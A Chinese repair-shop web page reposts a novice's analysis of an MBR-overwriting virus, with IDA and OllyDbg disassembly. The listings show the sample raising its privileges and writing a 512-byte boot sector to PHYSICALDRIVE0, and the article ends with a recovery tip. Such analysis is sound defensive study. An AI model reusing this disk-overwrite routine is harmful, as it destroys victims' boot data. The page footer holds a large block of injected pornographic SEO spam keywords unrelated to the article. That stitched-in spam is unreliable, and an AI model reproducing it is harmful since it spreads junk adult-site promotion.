錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
關于MBR病毒樣本分析

作者: 佚名  日期:2017-07-06 08:22:30   來源: 本站整理

1  MBR病毒樣本分析
1.1  基本信息
樣本類型:MBR感染樣本
大。36864 字節 36KB
MD5:955b66c722ca993dd11fbe56bbf92525
殼種類:無殼
編譯器信息:VC++6.0
簡介:該樣本是一個修改MBR的病毒。
感染癥狀:感染該病毒后,剛開始并不會發現有什么異常情況,但是當你重啟電腦后,你就會發現電腦啟動停留在一個黑色界面,

帶著惡意文字,在WIN7虛擬機中運行過后重啟系統的結果,感染后重啟電腦如圖4-1所示
 
                         圖4-1感染病毒效果圖
文件變化:無
注冊表變化:無
網絡行為:無
1.2  詳細分析
(1)首先總體看一下病毒程序布局
將病毒文件載入IDA,首先觀察IDA 的Functions window 界面,如圖4-2所示:
 
圖4-2 IDA FunctionWindow圖


因為該病毒文件是采用VC++6.0編譯的,看到main函數,就試著點開看一下,雙擊main函數后,在IDA中看到如下匯編代碼,

該段介紹的是該病毒程序的主函數,包含兩個子模塊:

[C++] 純文本查看 復制代碼
1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
_main proc near
push    1               ; int
push    offset aSedebugprivile ; "SeDebugPrivilege" 
call    sub_401000
add     esp, 8
jmp     sub_401090
_main endp


(2)模塊一分析
匯編語言函數是以:函數名 proc(參數列表) 這樣的格式,由此看出此函數有可能是病毒程序的主函數,
push    offset aSedebugprivile; "SeDebugPrivilege";
這句匯編代碼后面提示此處壓棧的字符是“SeDebugPrivilege”,這是Windows的字符權限名稱,一般用在進程提權中使用,

然后看下面三句匯編代碼:

[Asm] 純文本查看 復制代碼
1
2
3
push    1             ; int
push    offset aSedebugprivile ; "SeDebugPrivilege" 
call    sub_4010002.


首先將兩個值壓棧,其中一個值還與進程提權有關,下面一個call,指向了另一個位置,想到這里,

這個call里面的操作估計與進程提權相關,在IDA中雙擊call跟進,查看call的內容,為了直觀這里切換到IDA 的Graph view,雙擊call出現的內容,如圖4-3:


 
圖4-3 IDA call  sub_401000 Graph View圖


進入這個界面,該從哪里才下手呢,剛才分析,這個call所做的操作與進程提權相關,要想提升一個進程的權限,那么首先要做的第一步是得到當前進程的句柄,查看call進來的匯編代碼發現一個API GetCurrentProcess,這個API是獲取當前進程的句柄的,這就正確了,設想是正確的,就從這里下手,如下匯編代碼,主要介紹兩個進程提權的API函數GetCurrentProcess和OpenProcessToken

[Asm] 純文本查看 復制代碼
1
2
3
4
5
6
7
8
9
push    esi
push    eax            ; TokenHandle
push    28h            ; DesiredAccess
mov     esi, 1
call    ds:GetCurrentProcess
push    eax            ; ProcessHandle
call    ds:OpenProcessToken       
test    eax, eax
jnz     short loc_401028

上面匯編代碼,就是兩個函數,第一個先將三個參數壓棧,調用GetCurrentProcess函數獲取當前進程句柄,隨后將句柄返回寄存器eax(匯編語言的函數返回值默認存儲在寄存器eax中),隨后call    ds:OpenProcessToken 調用OpenProcessToken函數,獲取進程令牌句柄,并將返回值保存在eax中。test    eax, eaxjnz     short loc_401028這兩條語句,先test eax,eax會改變標志位ZF,使ZF不等于1,jnz表示標志位ZF不等于1時,跳轉,因此此處跳轉到shortloc_401028處。在圖4-3中右下角那一個模塊中,下邊看一下匯編代碼,主要功能修改進程權限
[Asm] 純文本查看 復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
loc_401028:
mov     ecx, [esp+18h+arg_4]
mov     eax, [esp+18h+lpName]
neg     ecx
lea     edx, [esp+18h+NewState.Privileges]
mov     [esp+18h+NewState.PrivilegeCount], esi
sbb     ecx, ecx
push    edx            ; lpLuid
and     ecx, 2
push    eax            ; lpName
push    0              ; lpSystemName
mov     [esp+24h+NewState.Privileges.Attributes], ecx
call    ds:LookupPrivilegeValueA
mov     edx, [esp+18h+hObject]
push    0              ; ReturnLength
push    0              ; PreviousState
lea     ecx, [esp+20h+NewState]
push    10h            ; BufferLength
push    ecx            ; NewState
push    0              ; DisableAllPrivileges
push    edx            ; TokenHandle
call    ds:AdjustTokenPrivileges
call    ds:GetLastError
test    eax, eax

在前邊敘述中,已經獲取當前進程的進程令牌,根據提升進程權限的操作,下一步要做的操作就是要查詢進程的權限。簡單分析之后,看一下上邊代碼,其中兩個關鍵的call是需要注意的:call    ds:LookupPrivilegeValueA這個API函數就是查詢進程權限的,與提升進程權限的步驟完全一致,根據VC++函數壓棧的順序第一個參數到第三個參數的壓入順序就是:push    0              ; lpSystemNamepush    eax             ; lpNamepush    edx             ; lpLuid然后call,直接調用該函數,這是第一個call call    ds:AdjustTokenPrivileges通過查看進程的權限,判斷進程是否可以對磁盤進行寫操作,如果沒有,則查找相關權限的LUID,賦予該進程相應權限,具體不再贅述。
(3)模塊2分析
前面模塊一中介紹的是進程提權部分,也就是main中的第一個關鍵點call sub_401000,下面來看一下main中第二個關鍵點:
[Asm] 純文本查看 復制代碼
1
2
add     esp, 8
jmp     sub_401090

在第一個call    sub_401000這個子模塊中,一共兩個參數壓棧
[Asm] 純文本查看 復制代碼
1
2
push    1  ; int
push    offset aSedebugprivile ; "SeDebugPrivilege"

在函數結束時,需要將堆棧還原,32位的兩個參數正好8個字節,因此Add esp,8,  讓棧頂指針增加8字節,棧在開辟儲存空間是向下增長的。堆棧平衡以后,程序直接無條件跳轉到 sub_401090處,在IDA中直接雙擊,切換到 sub_401090處,為了看著比較直觀,先來看一下整體視圖,如圖4-4,4-5所示:
 

圖4-4 IDA sub_401090 處代碼圖


 
圖4-5 IDA檢測寫入數據圖


通過對main中第一個call模塊進行分析,病毒程序已經提升進程權限,對于下一步,估計會對硬盤進行寫入操作。剛切換到sub_401090位置,并不知道到程序會怎么做,大致瀏覽一下代碼,會發現\\\\.\\PHYSICALDRIVE0字樣,這也說明不了什么,只能說明有可能是想獲取本地磁盤的信息,但是下面還有所發現,看如下幾行代碼,主要介紹CreateFileA函數
[Asm] 純文本查看 復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
push    0              ; hTemplateFile           參數7
rep stosd
stosw
push    0              ; dwFlagsAndAttributes    參數6
push    3              ; dwCreationDisposition   參數5
stosb
push    0              ; lpSecurityAttributes    參數4
mov     ecx, 0Ch
mov     esi, offset unk_406030
lea     edi, [esp+220h+Buffer]
push    3              ; dwShareMode             參數3
push    0C0000000h     ; dwDesiredAccess         參數2
rep movsd
push    offset FileName ; \\\\.\\PHYSICALDRIVE0   參數1
mov     [esp+22Ch+var_2], 55h
mov     [esp+22Ch+var_1], 0AAh
call    ds:CreateFileA            

調用函數55h 0AAh 這個對磁盤主引導區比較熟悉的應該知道,這是磁盤主引導扇區(MBR)的結束表示,一般是第一扇區的511和512字節處,就像PE文件頭的標識00004550一樣,以上匯編代碼中,其實只是實現了一個功能就是在磁盤下創建文件,從參數7到參數1是CreateFileA函數的7個參數,順序也按照調用順序進行排列,具體參數就不再細說了,調用CreateFileA函數取得設備句柄(這個設備句柄后面會用到),通過對返回值進行檢測,判斷函數是否成功,成功的話進行進一步操作,如下匯編代碼:
[Asm] 純文本查看 復制代碼
1
2
3
mov     esi, eax
cmp     esi, 0FFFFFFFFh
jnz     short loc_4010F4

這里將函數的返回值儲存在esi中,也就是設備的句柄,具體有什么用處,繼續往后邊分析。一個jnz條件跳轉指明了一個方向,對于這個跳轉與否,在IDA中有兩個方向,如圖4-6所示:  
圖4-6 IDA jnz short loc_4010F4 解釋圖
如果文件創建成功則跳轉至loc_4010F4處,否則執行另一塊操作,此時為了清晰地看一下程序的運行細節,將病毒程序載入到OD中,如圖4-7所示,
進行分析。

 
圖4-7 OD jnz short loc_4010F4 解釋圖

載入OD后,ALT+C到CPU界面,右鍵查看所有字符串參考,跟以前的分析,直接雙擊所查找出來的\\\\.\\PHYSICALDRIVE0字符,雙擊進入如圖4-雙擊進入如圖4-7的界面,然后看到CreateFile函數,在call該函數的前后下斷,下軟件斷點就可以了,然后F9,讓程序運行至第一個斷點處,如圖4-7紅色004010D4處,然后F8單步往下走(不要F7,F7進入函數體內沒有其它需要的信息,這里就不截圖展示了),此時主義觀擦右上角寄存器信息,注意ESI和EAX如圖4-7右上角紅色方框處,F8逐步將程序運行至004010E7處,可以先看ZF標志位(OD中以字母Z在右上角顯示),此時也可以看到圖4-7左下角出現"跳轉已實現"字樣,程序已經跳轉至loc_4010F4處,此時留意ESI和EAX兩個寄存器,此時它們的值是44h,它代表取得設備句柄成功。其實在創建設備句柄之前,要寫入MBR的字符數據已經可以在內存中查到,如下代碼:
[C++] 純文本查看 復制代碼
1
2
3
mov     ecx, 0Ch
mov     esi, offset unk_406030
lea     edi, [esp+220h+Buffer]


觀察上邊代碼,[esp+220h+Buffer]這個地址開始的數據后來被檢測到包含MBR引導扇區的結束標志55H AAH,如下代碼:
[Asm] 純文本查看 復制代碼
1
2
mov     [esp+22Ch+var_2], 55h
mov     [esp+22Ch+var_1], 0AAh

因此在內存中轉到406030這個位置,查看數據,如圖4-8所示。此時再把視線回歸到IDA中如圖4-3所示,既然程序跳轉到loc_4010F4處,下面具來分析一下loc_4010F4處的代碼,來了解病毒程序下面如何操作,上面通過CreateFile取得文件設備句柄,并將設備句柄存取到ESI中,然后進一步操作,如下代碼:
[Asm] 純文本查看 復制代碼
1
2
3
4
5
6
7
8
lea     ecx, [esp+210h+NumberOfBytesWritten]
push    0              ; lpOverlapped
push    ecx            ; lpNumberOfBytesWritten
lea     edx, [esp+218h+Buffer]
push    200h           ; nNumberOfBytesToWrite      寫入數據位512字節
push    edx            ; lpBuffer
push    esi            ; hFile
call    ds:WriteFile

調用WriteFile函數,將512字節的 數據寫入hFile(即CreateFile創建的文件中)中,下面利用DeviceIoControl與設備進行I/O,上面已經創建好的設備句柄保存在ESI中,詳細如下代碼:
[Asm] 純文本查看 復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
lea     eax, [esp+210h+BytesReturned]    ;數據所在位置
push    0              ; lpOverlappedpush    eax             ; lpBytesReturned  驅動程序實際返回給應用程序的數據字節數地址
push    0              ; nOutBufferSize
push    0              ; lpOutBuffer
push    0              ; nInBufferSize
push    0              ; lpInBuffer
push    9001Ch         ; dwIoControlCode  I/O和文件系統數據緩沖區進行數據傳遞的方式
push    esi            ; hDevice          設備句柄
call    edi ; DeviceIoControl   
push    esi            ; hObject
call    ds:CloseHandle[esp+210h+BytesReturned] ;表示數據所在位置,上面參數有相關解釋,通過DeviceIoControl將數據通過驅動程序寫入設備,最后關閉設備句柄
push    esi            ; hObject
call    ds:CloseHandle



    
圖4-8 IDA 406030 處16進制數據數據查詢圖


(4)利用WinHex提取出被感染后的MBR數據
該工具里面的工具欄里面提供有打開磁盤文件擴展,可以選擇以16進制或者10進制顯示,如圖4-9是正常情況下的MBR的內容:
 


圖4-9 WinHex打開磁盤扇區文件圖打開之后會顯示如界面,選擇物理驅動器,如圖4-10所示:
 

圖4-10 WinHex選擇操作物理驅動器圖


打開磁盤文件后,選中磁盤的第一個扇區,即MBR,右鍵->復制模塊->置入新文件保存起來,如圖4-11所示:
 
4-11
WinHex
保存磁盤扇區文件圖
 
 
1.1  病毒的修復如果在分析之前對MBR有備份,這樣可以容易處理一些,有一款工具叫MBRTool,可以對MBR進行簡單的備份和恢復: 

說明:因為本人在此領域還是新手,此次分析是在看到willJ 大大 http://www.52pojie.cn/thread-188123-1-1.html  發的一篇分析文章后決定自己嘗試一下,因為個人技術太少,剛涉足此方向,新手上路,望各位大大給予指點

1111.png (680.15 KB, 下載次數: 2)

1111.png


熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    主站蜘蛛池模板: 69天堂人成无码麻豆免费视频| 国产色无码专区在线观看| 亚洲A∨无码无在线观看| 亚洲Aⅴ无码专区在线观看q| 人妻精品无码一区二区三区| 伊人无码精品久久一区二区| 国产精品无码免费播放| 亚洲av永久无码精品古装片| 久久99精品久久久久久hb无码| 国产精品无码MV在线观看| 免费无码毛片一区二区APP| 免费无码专区毛片高潮喷水| 青青草无码免费一二三区| 日韩综合无码一区二区| 毛片一区二区三区无码| 日韩乱码人妻无码中文字幕久久| 日本精品人妻无码免费大全| 久久亚洲精品无码AV红樱桃| 国产Av激情久久无码天堂| 国产乱人伦无无码视频试看| 亚洲国产精品无码久久久秋霞1| 亚洲日产无码中文字幕| 国产成人无码一区二区三区在线| 亚洲爆乳AAA无码专区| 久久久久亚洲av无码专区喷水| 免费无码黄网站在线看| 国产精品成人无码久久久久久 | 无码人妻精品丰满熟妇区 | 无码精品A∨在线观看中文| 国产精品无码专区在线观看| 成人免费无码精品国产电影| 亚洲AV无码之国产精品| 亚洲av无码成人影院一区| 制服在线无码专区| 92午夜少妇极品福利无码电影| 无码AV波多野结衣久久| 免费无码毛片一区二区APP| 久久AV高潮AV无码AV| 永久免费av无码网站韩国毛片| 亚洲成a人无码亚洲成av无码| 亚洲日韩中文字幕无码一区|